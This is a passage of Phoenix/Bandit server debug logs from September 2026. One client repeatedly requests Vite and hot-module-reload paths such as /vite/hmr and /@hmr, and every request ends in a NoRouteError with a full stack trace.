    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:14.050000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40084] GET /vite/hmr
[Sat Sep  5 01:59:14.073000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40084] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:14.092000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40094] GET /vite/hmr.js
[Sat Sep  5 01:59:14.116000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40094] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:14.348000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33688] GET /bundledDevClient.mjs
[Sat Sep  5 01:59:14.365000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33688] ** (Phoenix.Router.NoRouteError) no route found for GET /bundledDevClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:14.404000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33676] GET /vite/client
[Sat Sep  5 01:59:14.434000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33676] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:14.554000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40094] GET /vite/hmr.mjs
[Sat Sep  5 01:59:14.581000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40094] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:14.714000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33688] GET /vite/client.js
[Sat Sep  5 01:59:14.733000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33688] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:14.790000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40048] GET /@hmr
[Sat Sep  5 01:59:14.811000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40048] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:14.846000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33698] GET /vite/client.mjs
[Sat Sep  5 01:59:14.871000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33698] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:14.887000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33676] GET /vite/hmr
[Sat Sep  5 01:59:14.914000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33676] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:14.960000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40076] GET /@hmr.js
[Sat Sep  5 01:59:14.983000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40076] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:15.004000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40094] GET /@hmr.mjs
[Sat Sep  5 01:59:15.039000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40094] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:15.160000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33688] GET /vite/hmr.js
[Sat Sep  5 01:59:15.175000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33688] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:15.205000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33706] GET /vite/hmr.mjs
[Sat Sep  5 01:59:15.249000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40084] GET /__hmrClient
[Sat Sep  5 01:59:15.250000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40048] GET /__hmrClient.js
[Sat Sep  5 01:59:15.250000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33706] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:15.276000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40048] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:15.278000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40084] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:15.343000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33676] GET /@hmr
[Sat Sep  5 01:59:15.360000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33676] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
